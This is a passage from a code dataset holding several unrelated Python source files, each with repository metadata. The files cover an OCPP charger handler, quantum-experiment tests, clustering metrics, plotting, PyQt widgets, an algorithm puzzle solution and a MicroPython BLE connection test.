Dict, Union\n\nimport structlog\nfrom ocpp.charge_point import camel_to_snake_case, remove_nones, snake_to_camel_case\nfrom ocpp.exceptions import NotSupportedError, OCPPError\nfrom ocpp.messages import (\n Call,\n CallError,\n CallResult,\n MessageType,\n unpack,\n validate_payload,\n)\nfrom ocpp.v16 import ChargePoint\nfrom ocpp.v16.enums import Action\n\nfrom exceptions import NoHandlerImplementedError\nfrom features.core import CoreFeature\nfrom features.remote_trigger import RemoteTriggerFeature\nfrom features.smart_charging import SmartChargingFeature\nfrom utils import HandlerType, create_route_map\n\nL = structlog.get_logger(__name__)\n\n\nclass ChargerHandler(\n ChargePoint, CoreFeature, SmartChargingFeature, RemoteTriggerFeature\n):\n def __init__(self, charger_id, connection, response_timeout=30):\n super().__init__(\n charger_id, connection=connection, response_timeout=response_timeout\n )\n self.action_payload_map: Dict[Action, Callable] = create_route_map(\n self, HandlerType.BEFORE_REQUEST\n )\n self.on_request_map: Dict[Action, Callable] = create_route_map(\n self, HandlerType.ON_REQUEST\n )\n self.after_response_map: Dict[Action, Callable] = create_route_map(\n self, HandlerType.AFTER_RESPONSE\n )\n\n self.follow_request_map: Dict[Action, Callable] = create_route_map(\n self, HandlerType.FOLLOW_REQUEST\n )\n\n def create_payload(self, action, **kwargs):\n try:\n L.info(f\"making payload for {action}\")\n return self.action_payload_map[action](**kwargs)\n except KeyError:\n raise NoHandlerImplementedError(\n \"Nothing to do from models side for %s\", action\n )\n\n async def __call(self, payload, suppress=True, unique_id=None):\n call: Call = self.create_call(payload, unique_id)\n response = await self.send_call(call)\n validated_payload = self.handle_response(payload, call, response, suppress)\n return validated_payload\n\n async def call_generator(self, payload, suppress=True, unique_id=None):\n \"\"\"\n Generator that yields control:\n 1. after Call for request is created\n 2. after response for a Call is received\n 3. after response for a Call is validated\n \"\"\"\n call: Call = self.create_call(payload, unique_id)\n yield call\n response = await self.send_call(call)\n yield response\n validated_response = self.handle_response(payload, call, response, suppress)\n yield validated_response\n\n def create_call(self, payload, unique_id=None) -> Call:\n \"\"\"\n Create a Call for a given payload\n \"\"\"\n camel_case_payload = snake_to_camel_case(asdict(payload))\n unique_id = (\n unique_id if unique_id is not None else str(self._unique_id_generator())\n )\n call = Call(\n unique_id=unique_id,\n action=payload.__class__.__name__[:-7],\n payload=remove_nones(camel_case_payload),\n )\n validate_payload(call, self._ocpp_version)\n return call\n\n async def send_call(self, call: Union[Call, CallResult, CallError]):\n \"\"\"\n Send a Call request and wait a response through a channel that only\n allows one call to go through at a time.\n \"\"\"\n # Use a lock to prevent make sure that only 1 message can be send at a\n # a time.\n async with self._call_lock:\n message = call.to_json()\n L.debug(\"%s: sending %s\", self.id, message)\n await self._send(message)\n if isinstance(call, CallError) or isinstance(call, CallResult):\n L.debug(\"Message is CallError | CallResult - not expecting reply\")\n return\n try:\n response = await self._get_specific_response(\n call.unique_id, self._response_timeout\n )\n return response\n except asyncio.TimeoutError:\n raise asyncio.TimeoutError(\n f\"Waited {self._response_timeout}s for response on \"\n f\"{call.to_json()}.\"\n )\n\n def handle_response(\n self, payload, call: Call, response, suppress=False\n ) -> Union[CallError, CallResult, None]:\n \"\"\"\n Handles a response payload and creates a CallResult or CallError from it.\n\n \"\"\"\n if response.message_type_id == MessageType.CallError:\n L.warning(\"Received a CALLError: %s'\", response)\n if suppress:\n return\n raise response.to_exception()\n else:\n response.action = call.action\n validate_payload(response, self._ocpp_version)\n\n snake_case_payload = camel_to_snake_case(response.payload)\n cls = getattr(self._call_result, payload.__class__.__name__) # noqa\n return cls(**snake_case_payload)\n\n async def route_message(self, raw_msg):\n \"\"\"\n Parses any messages received and forwards it to the right route for\n handling the specific message.\n \"\"\"\n try:\n msg: Union[Call, CallError, CallResult] = unpack(raw_msg)\n except OCPPError as e:\n L.exception(\n \"Unable to parse message: '%s', it doesn't seem \"\n \"to be valid OCPP: %s\",\n raw_msg,\n e,\n )\n return\n yield msg\n if msg.message_type_id == MessageType.Call:\n try:\n await self._handle_call(msg)\n L.info(\"HANDLED %s\", msg)\n except OCPPError as error:\n L.exception(\"Error while handling request '%s'\", msg)\n response = msg.create_call_error(error).to_json()\n await self._send(response)\n elif msg.message_type_id in [MessageType.CallResult, MessageType.CallError]:\n self._response_queue.put_nowait(msg)\n return\n\n async def on_message_handler(self, msg: Call) -> Union[CallResult, CallError]:\n \"\"\"\n Handles a message by using the handler function in `on_request_map`\n and returns a Call | CallError.\n \"\"\"\n snake_case_payload = camel_to_snake_case(msg.payload)\n try:\n handler = self.on_request_map[msg.action]\n except KeyError:\n raise NotSupportedError(\n details={\"cause\": f\"No 'on' handler for {msg.action} registered.\"}\n )\n\n try:\n response = handler(**snake_case_payload)\n if inspect.isawaitable(response):\n response = await response\n return response\n except Exception as e:\n L.exception(\"Error while handling request '%s'\", msg)\n response = msg.create_call_error(e)\n return response\n\n def prepare_response(\n self, msg: Call, response: Union[CallResult, CallError]\n ) -> CallResult:\n temp_response_payload = asdict(response)\n response_payload = remove_nones(temp_response_payload)\n camel_case_payload = snake_to_camel_case(response_payload)\n return msg.create_call_result(camel_case_payload)\n\n async def send_response(self, response):\n validate_payload(response, self._ocpp_version)\n await self._send(response.to_json())\n\n async def _handle_call(self, msg: Call):\n \"\"\"\n Receives a Call and call the respective handler functions.\n\n 1. on_message_handler\n 2. prepare_response\n 3. send_call\n 4. follow_request function\n \"\"\"\n validate_payload(msg, self._ocpp_version)\n snake_case_payload = camel_to_snake_case(msg.payload)\n\n handled_output = await self.on_message_handler(\n msg\n ) # on_request_map[msg.action]\n response = self.prepare_response(msg, handled_output)\n L.debug(\"call: %s\", response)\n await self.send_call(response)\n\n async def _follow_request_call(self, action: Action, payload):\n try:\n handler = self.follow_request_map[action]\n # Create task to avoid blocking when making a call inside the\n # after handler\n response = handler(**payload)\n if inspect.isawaitable(response):\n await response\n except KeyError:\n # '_on_after' hooks are not required. Therefore ignore exception\n # when no '_on_after' hook is installed.\n L.debug(f\"There is nothing to do after {action}\")\n","repo_name":"tomazinhal/vcp-api","sub_path":"evse/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":8680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71347656082","text":"# Known LHS violation values. Extracted from Excel file from `data/`\nimport numpy as np\nimport qiskit\nimport pytest\n\nfrom wigners_friend.config import ANGLES, BETA\nfrom wigners_friend.stats import compute_inequalities\nfrom wigners_friend.utils import generate_all_experiments\n\n\nlhs_violation_vals = {\n \"mu\": {\n \"1\": {\n \"lf\": 0.57028,\n \"I3322\": 0.299348,\n \"brukner\": 0.124336,\n \"semi_brukner\": 0.380364,\n \"bell_non_lf\": 0.59116\n }\n }\n}\n\n\ndef test_violation_lhs():\n BACKEND = qiskit.Aer.get_backend(\"aer_simulator\")\n SHOTS = 100_000\n NOISE_MODEL = None\n friend_size = 1\n\n results = generate_all_experiments(\n backend=BACKEND,\n noise_model=NOISE_MODEL,\n shots=SHOTS,\n angles=ANGLES,\n beta=BETA,\n charlie_size=friend_size,\n debbie_size=friend_size\n )\n violations = compute_inequalities(results)\n\n assert np.isclose(violations[\"lf\"], lhs_violation_vals[\"mu\"][\"1\"][\"lf\"], atol=0.1)\n assert np.isclose(violations[\"I3322\"], lhs_violation_vals[\"mu\"][\"1\"][\"I3322\"], atol=0.1)\n assert np.isclose(violations[\"brukner\"], lhs_violation_vals[\"mu\"][\"1\"][\"brukner\"], atol=0.1)\n assert np.isclose(violations[\"semi_brukner\"], lhs_violation_vals[\"mu\"][\"1\"][\"semi_brukner\"], atol=0.1)\n assert np.isclose(violations[\"bell_non_lf\"], lhs_violation_vals[\"mu\"][\"1\"][\"bell_non_lf\"], atol=0.1)\n","repo_name":"unitaryfund/wigners_friend","sub_path":"tests/test_violation_lhs.py","file_name":"test_violation_lhs.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35128328335","text":"from collections import defaultdict\n\nimport numpy as np\nimport sklearn.metrics as metrics\nfrom sklearn.neighbors import NearestNeighbors\n\nimport basty.utils.misc as misc\n\n\ndef label_coverage(y_ann, y_pred, normalize=False):\n assert y_ann.shape[0] == y_pred.shape[0]\n\n pred_coverage = {}\n for y_hat in np.unique(y_pred):\n uniq_y_ann, counts = np.unique(y_ann[y_pred == y_hat], return_counts=True)\n coverage = (\n counts / (y_pred[y_pred == y_hat].shape[0] + 1) if normalize else counts\n )\n pred_coverage[y_hat] = dict(zip(uniq_y_ann, coverage))\n\n ann_coverage = {}\n for y_hat in np.unique(y_ann):\n uniq_y_pred, counts = np.unique(y_pred[y_ann == y_hat], return_counts=True)\n coverage = (\n counts / (y_ann[y_ann == y_hat].shape[0] + 1) if normalize else counts\n )\n ann_coverage[y_hat] = dict(zip(uniq_y_pred, coverage))\n\n return misc.sort_dict(ann_coverage), misc.sort_dict(pred_coverage)\n\n\ndef total_occupation(y):\n uniq_y, counts = np.unique(y, return_counts=True)\n return dict(zip(uniq_y.astype(int), counts))\n\n\ndef absolute_freq(y):\n occupation = total_occupation(y)\n return {key: val / y.shape[0] for key, val in occupation.items()}\n\n\ndef evolution_rate(y, normalize=False):\n uniq_y = np.unique(y)\n if normalize:\n denom = total_occupation(y)\n else:\n denom = [1 for _ in uniq_y]\n rate = {\n int(y_hat): np.cumsum(np.where(y == y_hat, 1, 0)) / denom[y_hat]\n for y_hat in uniq_y\n }\n return rate\n\n\nclass BoutDetails:\n def __init__(self, fps, y):\n self.fps = fps\n self.y = y\n self.intervals = misc.cont_intvls(y)\n\n def get_bout_feature_details(self, values, offset=1):\n intervals = self.intervals\n y = self.y\n bout_details_dict = defaultdict(list)\n\n for i in range(1, intervals.shape[0]):\n start = max(intervals[i - 1] - offset * self.fps, 0)\n end = intervals[i] + offset * self.fps\n bout_details_dict[y[intervals[i - 1]]].append(\n ((start, end), values[start:end, :])\n )\n bout_details_dict = misc.sort_dict(bout_details_dict)\n\n return bout_details_dict\n\n def get_bout_temporal_details(self):\n intervals = self.intervals\n y = self.y\n bout_details_dict = defaultdict(list)\n\n for i in range(1, intervals.shape[0]):\n start, end = intervals[i - 1], intervals[i]\n details = {\"duration\": end - start, \"start\": start, \"end\": end}\n details[\"label\"] = y[intervals[i - 1]]\n bout_details_dict[y[intervals[i - 1]]].append(details)\n bout_details_dict = misc.sort_dict(bout_details_dict)\n\n return bout_details_dict\n\n\nclass kNN:\n def __init__(self, k):\n self.k = k\n self.kNeigh = NearestNeighbors(n_neighbors=self.k)\n\n def fit(self, X_embedded):\n self.kNeigh.fit(X_embedded)\n self.neighbours = self.kNeigh.kneighbors(X_embedded)\n\n def knn_accuracy(self, y, ignore_consecutive=0):\n assert ignore_consecutive >= 0\n neig_idx = self.neighbours[1]\n\n neig_avgdist = [\n sum([(i - j) for j in neig_idx[i]]) / self.k for i in range(len(neig_idx))\n ]\n majority_pred = [\n misc.most_common(\n [y[j] for j in neig_idx[i] if abs(j - i) > ignore_consecutive]\n )\n for i in range(len(neig_idx))\n ]\n\n accuracy = metrics.accuracy_score(y, majority_pred)\n print(f\"Majority {self.k}-NN prediction accuracy is {accuracy}\")\n\n return accuracy, neig_avgdist\n\n\nclass MetricMixin:\n def __init__(self, y_ann, y_pred, ignore_ann=None, ignore_pred=None):\n assert isinstance(y_ann, np.ndarray)\n assert isinstance(y_pred, np.ndarray)\n\n self.ignore_ann = [] if ignore_ann is None else ignore_ann\n self.ignore_pred = [] if ignore_pred is None else ignore_pred\n\n y_pred, y_ann = self.__class__._delete_y(y_pred, y_ann, ignore_pred)\n self.y_ann, self.y_pred = self.__class__._delete_y(y_ann, y_pred, ignore_ann)\n\n @staticmethod\n def _delete_y(y0, y1, ignore0):\n for y_hat in ignore0:\n y1 = y1[y0 != y_hat]\n y0 = y0[y0 != y_hat]\n return y0, y1\n\n\nclass ClassificationMetrics(MetricMixin):\n def __init__(self, y_ann, y_pred, ignore_ann=None, ignore_pred=None):\n super().__init__(y_ann, y_pred, ignore_ann=ignore_ann, ignore_pred=ignore_pred)\n self.ann_coverage, self.pred_coverage = label_coverage(\n self.y_ann, self.y_pred, normalize=True\n )\n pred_majority_dict = {\n y_hat: max(counts, key=(lambda key: counts[key]))\n for y_hat, counts in self.pred_coverage.items()\n }\n self.y_majority = np.array([pred_majority_dict[y_i] for y_i in self.y_pred])\n\n from sklearn import preprocessing\n\n lb = preprocessing.LabelBinarizer()\n self.y_ann_binary = lb.fit_transform(self.y_ann)\n\n self.y_pred_coverage_scores = np.zeros(self.y_ann_binary.shape)\n for i in range(self.y_pred_coverage_scores.shape[0]):\n for y_hat, val in enumerate(self.pred_coverage[self.y_pred[i]].items()):\n self.y_pred_coverage_scores[i, y_hat] = val\n\n def f1_score(self, **kwargs):\n return metrics.f1_score(self.y_ann, self.y_majority, **kwargs)\n\n def accuracy_score(self, **kwargs):\n return metrics.accuracy_score(self.y_ann, self.y_majority, **kwargs)\n\n def balanced_accuracy_score(self, **kwargs):\n return metrics.balanced_accuracy_score(self.y_ann, self.y_majority, **kwargs)\n\n def brier_score_loss(self, **kwargs):\n return metrics.brier_score_loss(self.y_ann, self.y_majority, **kwargs)\n\n def jaccard_score(self, **kwargs):\n return metrics.jaccard_score(self.y_ann, self.y_majority, **kwargs)\n\n def recall_score(self, **kwargs):\n return metrics.recall_score(self.y_ann, self.y_majority, **kwargs)\n\n def precision_score(self, **kwargs):\n return metrics.precision_score(self.y_ann, self.y_majority, **kwargs)\n\n def coverage_error(self, y_scores=None, **kwargs):\n y_scores = self.y_pred_coverage_scores if y_scores is None else y_scores\n return metrics.coverage_error(self.y_ann_binary, y_scores, **kwargs)\n\n def average_precision_score(self, y_scores=None, **kwargs):\n y_scores = self.y_pred_coverage_scores if y_scores is None else y_scores\n return metrics.average_precision_score(self.y_ann_binary, y_scores, **kwargs)\n\n def label_ranking_avg_precision_score(self, y_scores=None, **kwargs):\n y_scores = self.y_pred_coverage_scores if y_scores is None else y_scores\n return metrics.label_ranking_average_precision_score(\n self.y_ann_binary, y_scores, **kwargs\n )\n\n def label_ranking_loss(self, y_scores=None, **kwargs):\n y_scores = self.y_pred_coverage_scores if y_scores is None else y_scores\n return metrics.label_ranking_loss(self.y_ann_binary, y_scores, **kwargs)\n\n\nclass ClusteringMetrics(MetricMixin):\n def __init__(self, y_ann, y_pred, ignore_ann=None, ignore_pred=None):\n super().__init__(y_ann, y_pred, ignore_ann=ignore_ann, ignore_pred=ignore_pred)\n\n def adjusted_rand_score(self):\n (tn, fp), (fn, tp) = metrics.cluster.pair_confusion_matrix(\n self.y_ann, self.y_pred\n )\n # Special cases, namely empty data or full agreement.\n if fn == 0 and fp == 0:\n return 1.0\n return (\n 2.0 * (tp * tn - fn * fp) / ((tp + fn) * (fn + tn) + (tp + fp) * (fp + tn))\n )\n\n def adjusted_mutual_info_score(self, **kwargs):\n return metrics.cluster.adjusted_mutual_info_score(\n self.y_ann, self.y_pred, **kwargs\n )\n\n def normalized_mutual_info_score(self, **kwargs):\n return metrics.cluster.normalized_mutual_info_score(\n self.y_ann, self.y_pred, **kwargs\n )\n\n def v_measure_score(self, **kwargs):\n return metrics.cluster.v_measure_score(self.y_ann, self.y_pred, **kwargs)\n\n def completeness_score(self):\n return metrics.cluster.completeness_score(self.y_ann, self.y_pred)\n\n def homogeneity_score(self):\n return metrics.cluster.homogeneity_score(self.y_ann, self.y_pred)\n\n\ndef compute_hausdorff_distance(X, y):\n # '0' stands for 'inactive' or 'unannotated' frames.\n assert 0 in y\n uniq_y = np.unique(y)\n # How far two subsets of a metric space are from each other.\n hausdorff_dist = np.zeros((uniq_y.shape[0], uniq_y.shape[0]))\n # hausdorff_dist[np.diag_indices(hausdorff_dist.shape[0])] = 0\n\n from scipy.spatial.distance import directed_hausdorff\n\n for i in range(1, hausdorff_dist.shape[0]):\n for j in range(i + 1, hausdorff_dist.shape[1]):\n dir1 = directed_hausdorff(X[y == uniq_y[i]], X[y == uniq_y[j]])\n dir2 = directed_hausdorff(X[y == uniq_y[i]], X[y == uniq_y[j]])\n hausdorff_dist[i, j] = (dir1[0] + dir2[0]) / 2\n hausdorff_dist = hausdorff_dist + np.triu(hausdorff_dist).T\n return hausdorff_dist\n\n\ndef compute_distn_jensenshannon(X, y):\n # '0' stands for 'inactive' or 'unannotated' frames.\n assert 0 in y\n uniq_y = np.unique(y)\n # Jensen-Shannon distance (metric) between two probability arrays of same size.\n js_dist = np.zeros((uniq_y.shape[0], uniq_y.shape[0]))\n\n from scipy.spatial.distance import jensenshannon\n\n for i in range(1, js_dist.shape[0]):\n for j in range(i, js_dist.shape[1]):\n js_dist[i, j] = jensenshannon(X[y == uniq_y[i]], X[y == uniq_y[j]])\n js_dist = js_dist + np.triu(js_dist).T\n return js_dist\n\n\ndef compute_silhouette_score(X, y, metric=\"euclidean\", sample_size=None, **kwargs):\n rng = np.random.default_rng()\n\n if sample_size is not None:\n indices = rng.permutation(X.shape[0])[:sample_size]\n if metric == \"precomputed\":\n X, y = X[indices].T[indices].T, y[indices]\n else:\n X, y = X[indices], y[indices]\n\n return np.mean(metrics.silhouette_samples(X, y, metric=metric, **kwargs))\n\n\ndef compute_lagged_bivariate_prob(y_binary, min_lag, max_lag):\n num_uniq_y = y_binary.shape[1]\n lagged_bivar_prob = np.zeros((max_lag - min_lag + 1, num_uniq_y, num_uniq_y))\n for lag in range(min_lag, max_lag + 1):\n for y_i in range(num_uniq_y):\n for y_j in range(num_uniq_y):\n lagged_bivar_prob[lag - min_lag, y_i, y_j] = np.mean(\n y_binary[:-lag, y_i] * y_binary[lag:, y_j]\n )\n return lagged_bivar_prob\n\n\ndef cramers_serial_dependency(y_binary, min_lag, max_lag):\n assert y_binary.shape > 1\n hat_pi = np.mean(y_binary, axis=0)\n hat_ij_pi = hat_pi[:, np.newaxis] @ hat_pi[np.newaxis, :]\n cramers = np.zeros(max_lag + 1)\n lagged_bivar_prob = compute_lagged_bivariate_prob(y_binary, min_lag, max_lag)\n for lag in range(min_lag, max_lag + 1):\n cramers[lag] = np.sqrt(\n np.sum((lagged_bivar_prob[lag - min_lag] - hat_ij_pi) ** 2 / hat_ij_pi)\n / (y_binary.shape[1] - 1)\n )\n return cramers\n\n\ndef cohens_serial_dependency(y_binary, min_lag, max_lag):\n hat_pi = np.mean(y_binary, axis=0)\n denom = 1 - np.sum(hat_pi**2)\n cohens = np.zeros(max_lag + 1)\n lagged_bivar_prob = compute_lagged_bivariate_prob(y_binary, min_lag, max_lag)\n for lag in range(min_lag, max_lag + 1):\n cohens[lag] = (\n np.sum(np.diag(lagged_bivar_prob[lag - min_lag]) - hat_pi**2) / denom\n )\n return cohens\n","repo_name":"bo1929/basty","sub_path":"basty/utils/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":11615,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"80974696","text":"from matplotlib import pyplot \r\nimport numpy \r\nfrom textwrap import wrap \r\nimport matplotlib.ticker as ticker \r\nimport matplotlib.lines as mlines\r\n\r\n\r\ndata_array = numpy.loadtxt('data.txt', dtype = int)\r\ndata_x_cache_size = []\r\ndata_y_cache_hits = []\r\ndata_y_pss_hits = []\r\ndata_y_lru_hits = []\r\nfor i in range(int(data_array.size / 4)):\r\n data_x_cache_size.append(data_array[i][0])\r\n data_y_cache_hits.append(data_array[i][1])\r\n data_y_pss_hits.append(data_array[i][2])\r\n data_y_lru_hits.append(data_array[i][3])\r\n\r\n\r\nfig, ax = pyplot.subplots(figsize = (16, 10), dpi = 400, linewidth = 2) \r\n\r\nax.plot(data_x_cache_size, data_y_cache_hits, '--', label = 'cache_hits')\r\nax.plot(data_x_cache_size, data_y_lru_hits, '-.', label = 'LRU')\r\nax.plot(data_x_cache_size, data_y_pss_hits, '-', label = 'PSS')\r\npyplot.legend((\"cache_hits\", \"lru_hits\", \"pss_hits\"))\r\n\r\nax.set_xlabel(\"Cache size\", size = 20) \r\nax.set_ylabel(\"Cache hits\", size = 20) \r\n\r\nax.axis([data_x_cache_size[0], data_x_cache_size[len(data_x_cache_size) - 1], data_y_cache_hits[0], data_y_cache_hits[len(data_y_cache_hits) - 1]])\r\nax.set_title('A comparison of PSS and LRU.', size = 20, loc = 'center') \r\n\r\nax.grid(which='major', color = 'k')\r\nax.minorticks_on()\r\nax.grid(which='minor', color = '0.8', linestyle = ':') \r\n\r\nfig.savefig(\"cache_graph.png\")\r\npyplot.show()","repo_name":"cluzze/Cache","sub_path":"graph/cache_graph.py","file_name":"cache_graph.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"6588482907","text":"from PyQt5.QtWidgets import QApplication, QWidget, QLabel, QVBoxLayout, QProgressBar\nfrom PyQt5.QtCore import Qt\nfrom PyQt5 import QtGui\nimport sys\n\nStyleSheet = '''\n#MainProgressBar {\n text-align: center;\n}\n#MainProgressBar::chunk {\n background-color: lightblue;\n}\n'''\n\nclass StackedProgressBar(QWidget):\n \"\"\"Stacked progress bar that has two progress properties.\n\n Args:\n QWidget ([type]): [description]\n \"\"\"\n def __init__(self, parent=None):\n super().__init__(parent=parent)\n self.setWindowFlags(\n Qt.Window |\n Qt.CustomizeWindowHint |\n Qt.WindowTitleHint\n )\n\n self.setWindowTitle('Loading')\n width = 550\n height = 100\n self.setMinimumSize(width, height)\n\n font = QtGui.QFont()\n font.setPointSize(10)\n\n self.sub_pbar = QProgressBar(self)\n self.sub_pbar.setGeometry(30, 40, 500, 75)\n\n self.sub_pbarlabel = QLabel(self)\n self.sub_pbarlabel.setGeometry(30, 40, 500, 75)\n self.sub_pbarlabel.setFont(font)\n self.sub_pbarlabel.setText('Processing')\n\n self.main_pbar = QProgressBar(self, objectName=\"MainProgressBar\")\n self.main_pbar.setGeometry(30, 40, 500, 75)\n self.main_pbar.setStyleSheet(StyleSheet)\n\n self.main_pbarlabel = QLabel(self)\n self.main_pbarlabel.setGeometry(30, 40, 500, 75)\n self.main_pbarlabel.setFont(font)\n self.main_pbarlabel.setText('Processing')\n\n\n self.layout = QVBoxLayout()\n self.layout.addWidget(self.sub_pbarlabel)\n self.layout.addWidget(self.sub_pbar)\n self.layout.addWidget(self.main_pbarlabel)\n self.layout.addWidget(self.main_pbar)\n\n self.setLayout(self.layout)\n \n\n def show_pbar(self): # To restart the progress every time\n self.show()\n \n def start_t(self):\n self.thread.start()\n\n def on_count_changed(self, value):\n self.sub_pbar.setValue(value)\n\n def on_text_changed(self, text):\n self.sub_pbarlabel.setText(text)\n\n def on_main_count_changed(self, value):\n self.main_pbar.setValue(value)\n\n def on_main_text_changed(self, text):\n self.main_pbarlabel.setText(text)\n\n def hide_pbar(self):\n self.hide()\n\nclass MainWindow(QWidget):\n def __init__(self):\n super().__init__()\n self.setWindowTitle(\"Demo Widget\")\n self.show()\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n main_window = MainWindow()\n pbar = StackedProgressBar()\n pbar.show_pbar()\n pbar.on_main_count_changed(50)\n pbar.on_main_text_changed('te')\n sys.exit(app.exec_())\n ","repo_name":"qang1/CAREStandalone","sub_path":"application/ui/stacked_pbar.py","file_name":"stacked_pbar.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"24889704142","text":"import sys\ninput = sys.stdin.readline\n\nn = int(input())\nboard = [list(map(int, input().split())) for i in range(n)]\nvisited = [[False] * n for _ in range(n)]\nanswer = 987654321\n\nflower = [(0, 0), (-1, 0), (1, 0), (0, -1), (0, 1)] # 현위치. 상하좌우\n\n# 꽃을 죽이지 않고 놓을 수 있는지 확인\n\n\ndef check(y, x):\n global n\n for dy, dx in flower:\n ny = y + dy\n nx = x + dx\n if 0 > ny or ny > n-1 or 0 > nx or nx > n-1 or visited[ny][nx]:\n return False\n return True\n\n# 꽃 비용 계산\n\n\ndef calculate(y, x):\n result = 0\n for dy, dx in flower:\n ny = y + dy\n nx = x + dx\n result += board[ny][nx]\n return result\n\n# 3개의 꽃 고르기\n# 서로 겹치치 않게\n# 보드의 끝이면 다음 줄 넘어가기\n\n\ndef dfs(x, cost, cnt):\n global answer\n if cnt == 3:\n answer = min(answer, cost)\n return\n for i in range(x, n):\n for j in range(1, n):\n if check(i, j):\n visited[i][j] = True\n for dy, dx in flower:\n visited[i+dy][j+dx] = True\n dfs(i, cost + calculate(i, j), cnt+1)\n visited[i][j] = False\n for dy, dx in flower:\n visited[i+dy][j+dx] = False\n\n\ndfs(1, 0, 0)\nprint(answer)\n","repo_name":"oio337a/Python-BOJ","sub_path":"src/14620.py","file_name":"14620.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"22613969693","text":"\"\"\"\nscrollbar/demo.py\n\nDemonstrate one way to get a Qt5 scrollbar to appear (using a Qt Designer *.ui file).\n\nUses a QScrollArea object to scroll through lots of buttons, by adding them to the QScrollArea's\ncontents widget's layout. Whew!\n\nThe point is that this can be a model for objects like the grid of count rate buttons on the Observe Tab,\nthough in the end I made that work using code, not the UI designer.\n\"\"\"\n\nimport os\nimport sys\n\n# Qt5 imports\nimport PyQt5.uic\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\nclass DemoDialog(QtWidgets.QDialog):\n def __init__(self, parent=None):\n QtWidgets.QDialog.__init__(self, parent)\n self.setWindowIcon(QtGui.QIcon(\"dc.png\"))\n PyQt5.uic.loadUi(\n os.path.join(os.path.dirname(__file__), \"demo.ui\"), self\n )\n # xwidth = ywidth = 50\n for row in range(16):\n for col in range(5):\n button = QtWidgets.QPushButton(f\"R{row}C{col}\")\n # button.setFixedSize(xwidth, ywidth)\n button.setFlat(False)\n\n self.scrollAreaWidgetContents_2.layout().addWidget(button, row, col)\n\ndef main():\n app = QtWidgets.QApplication(sys.argv)\n dd = DemoDialog()\n dd.show()\n retval = app.exec_()\n # print(\"Return: \", retval)\n\n\n\nif __name__==\"__main__\":\n main()","repo_name":"usnistgov/dastardcommander","sub_path":"dastardcommander/demo/scrollbar/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"32474713449","text":"# Test BLE GAP connect/disconnect\n\nfrom micropython import const\nimport time, machine, bluetooth\n\nTIMEOUT_MS = 5000\n\n_IRQ_CENTRAL_CONNECT = const(1)\n_IRQ_CENTRAL_DISCONNECT = const(2)\n_IRQ_PERIPHERAL_CONNECT = const(7)\n_IRQ_PERIPHERAL_DISCONNECT = const(8)\n_IRQ_GATTC_SERVICE_RESULT = const(9)\n_IRQ_GATTC_SERVICE_DONE = const(10)\n\nUUID_A = bluetooth.UUID(0x180D)\nUUID_B = bluetooth.UUID(\"A5A5A5A5-FFFF-9999-1111-5A5A5A5A5A5A\")\nSERVICE_A = (\n UUID_A,\n (),\n)\nSERVICE_B = (\n UUID_B,\n (),\n)\nSERVICES = (SERVICE_A, SERVICE_B)\n\nwaiting_events = {}\nnum_service_result = 0\n\n\ndef irq(event, data):\n global num_service_result\n if event == _IRQ_CENTRAL_CONNECT:\n print(\"_IRQ_CENTRAL_CONNECT\")\n waiting_events[event] = data[0]\n elif event == _IRQ_CENTRAL_DISCONNECT:\n print(\"_IRQ_CENTRAL_DISCONNECT\")\n elif event == _IRQ_PERIPHERAL_CONNECT:\n print(\"_IRQ_PERIPHERAL_CONNECT\")\n waiting_events[event] = data[0]\n elif event == _IRQ_PERIPHERAL_DISCONNECT:\n print(\"_IRQ_PERIPHERAL_DISCONNECT\")\n elif event == _IRQ_GATTC_SERVICE_RESULT:\n if data[3] == UUID_A or data[3] == UUID_B:\n print(\"_IRQ_GATTC_SERVICE_RESULT\", data[3])\n num_service_result += 1\n elif event == _IRQ_GATTC_SERVICE_DONE:\n print(\"_IRQ_GATTC_SERVICE_DONE\")\n\n if event not in waiting_events:\n waiting_events[event] = None\n\n\ndef wait_for_event(event, timeout_ms):\n t0 = time.ticks_ms()\n while time.ticks_diff(time.ticks_ms(), t0) < timeout_ms:\n if event in waiting_events:\n return waiting_events.pop(event)\n machine.idle()\n raise ValueError(\"Timeout waiting for {}\".format(event))\n\n\n# Acting in peripheral role.\ndef instance0():\n multitest.globals(BDADDR=ble.config(\"mac\"))\n ble.gatts_register_services(SERVICES)\n print(\"gap_advertise\")\n ble.gap_advertise(20_000, b\"\\x02\\x01\\x06\\x04\\xffMPY\")\n multitest.next()\n try:\n wait_for_event(_IRQ_CENTRAL_CONNECT, TIMEOUT_MS)\n wait_for_event(_IRQ_CENTRAL_DISCONNECT, TIMEOUT_MS)\n finally:\n ble.active(0)\n\n\n# Acting in central role.\ndef instance1():\n multitest.next()\n try:\n # Connect to peripheral and then disconnect.\n print(\"gap_connect\")\n ble.gap_connect(*BDADDR)\n conn_handle = wait_for_event(_IRQ_PERIPHERAL_CONNECT, TIMEOUT_MS)\n\n # Discover services.\n ble.gattc_discover_services(conn_handle)\n wait_for_event(_IRQ_GATTC_SERVICE_DONE, TIMEOUT_MS)\n\n print(\"discovered:\", num_service_result)\n\n # Disconnect from peripheral.\n print(\"gap_disconnect:\", ble.gap_disconnect(conn_handle))\n wait_for_event(_IRQ_PERIPHERAL_DISCONNECT, TIMEOUT_MS)\n finally:\n ble.active(0)\n\n\nble = 